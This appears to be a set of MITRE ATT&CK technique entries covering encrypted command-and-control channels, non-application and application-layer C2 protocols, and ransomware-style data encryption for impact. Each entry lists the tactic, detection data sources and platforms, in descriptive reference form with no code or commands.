Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.
Tactics:	Impact
Data Sources:	File monitoring, Kernel drivers, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre